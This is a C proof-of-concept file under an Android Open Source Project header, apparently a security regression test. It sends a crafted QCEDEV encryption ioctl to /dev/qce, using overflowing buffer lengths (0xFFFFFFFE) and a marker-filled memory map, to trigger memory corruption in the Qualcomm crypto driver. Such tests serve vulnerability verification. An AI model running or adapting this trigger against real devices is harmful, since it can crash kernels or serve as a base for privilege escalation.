/* * Copyright (C) 2017 The Android Open Source Project * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ #define _GNU_SOURCE #include <stdio.h> #include <unistd.h> #include <stdlib.h> #include <sys/ioctl.h> #include <sys/types.h> #include <sys/stat.h> #include <sys/mman.h> #include <sys/wait.h> #include <string.h> #include <fcntl.h> #include <limits.h> #include <inttypes.h> #include <errno.h> #define QCEDEV_MAX_KEY_SIZE 64 #define QCEDEV_MAX_IV_SIZE 32 #define QCEDEV_MAX_BUFFERS 16 struct buf_info { union { uint32_t offset; uint8_t *vaddr; }; uint32_t len; }; struct qcedev_vbuf_info { struct buf_info src[QCEDEV_MAX_BUFFERS]; struct buf_info dst[QCEDEV_MAX_BUFFERS]; }; struct qcedev_pmem_info { int fd_src; struct buf_info src[QCEDEV_MAX_BUFFERS]; int fd_dst; struct buf_info dst[QCEDEV_MAX_BUFFERS]; }; enum qcedev_oper_enum { QCEDEV_OPER_DEC = 0, QCEDEV_OPER_ENC = 1, QCEDEV_OPER_DEC_NO_KEY = 2, QCEDEV_OPER_ENC_NO_KEY = 3, QCEDEV_OPER_LAST }; enum qcedev_cipher_alg_enum { QCEDEV_ALG_DES = 0, QCEDEV_ALG_3DES = 1, QCEDEV_ALG_AES = 2, QCEDEV_ALG_LAST }; enum qcedev_cipher_mode_enum { QCEDEV_AES_MODE_CBC = 0, QCEDEV_AES_MODE_ECB = 1, QCEDEV_AES_MODE_CTR = 2, QCEDEV_AES_MODE_XTS = 3, QCEDEV_AES_MODE_CCM = 4, QCEDEV_DES_MODE_CBC = 5, QCEDEV_DES_MODE_ECB = 6, QCEDEV_AES_DES_MODE_LAST }; struct qcedev_cipher_op_req { uint8_t use_pmem; union { struct qcedev_pmem_info pmem; struct qcedev_vbuf_info vbuf; }; uint32_t entries; uint32_t data_len; uint8_t in_place_op; uint8_t enckey[QCEDEV_MAX_KEY_SIZE]; uint32_t encklen; uint8_t iv[QCEDEV_MAX_IV_SIZE]; uint32_t ivlen; uint32_t byteoffset; enum qcedev_cipher_alg_enum alg; enum qcedev_cipher_mode_enum mode; enum qcedev_oper_enum op; }; #define QCEDEV_IOC_MAGIC 0x87 #define QCEDEV_IOCTL_ENC_REQ \ _IOWR(QCEDEV_IOC_MAGIC, 1, struct qcedev_cipher_op_req) #define QCEDEV_IOCTL_DEC_REQ \ _IOWR(QCEDEV_IOC_MAGIC, 2, struct qcedev_cipher_op_req) void thread_func(int fd) { struct qcedev_cipher_op_req req; unsigned int i; char *data; memset(&req, 0, sizeof(struct qcedev_cipher_op_req)); data = mmap(NULL, 0xFFFFFF * 3, PROT_READ|PROT_WRITE, MAP_ANON|MAP_PRIVATE|MAP_POPULATE, -1, 0); if (data == MAP_FAILED) { exit(0); } for (i = 0; i < 0xFFFFFF * 3; i += sizeof(void*)) *((unsigned long long*)(data + i)) = 0xABADACC355001337; req.in_place_op = 1; req.entries = 2; req.byteoffset = 15; req.mode = QCEDEV_AES_MODE_CTR; req.op = QCEDEV_OPER_ENC; req.ivlen = 1; req.data_len = 0xFFFFFFFE; req.vbuf.src[0].len = 4; req.vbuf.src[1].len = 0xFFFFFFFE - 4; req.vbuf.src[0].vaddr = (uint8_t*)data; req.vbuf.src[1].vaddr = (uint8_t*)data; req.vbuf.dst[0].len = 4; req.vbuf.dst[1].len = 0xFFFFFFFE - 4; req.vbuf.dst[0].vaddr = (uint8_t*)data; req.vbuf.dst[1].vaddr = (uint8_t*)data; ioctl(fd, QCEDEV_IOCTL_ENC_REQ, &req); exit(0); } int main(void) { int fd; const char *dev = "/dev/qce"; fd = open(dev, O_RDWR); if (fd < 0) { return EXIT_FAILURE; } thread_func(fd); return EXIT_FAILURE; }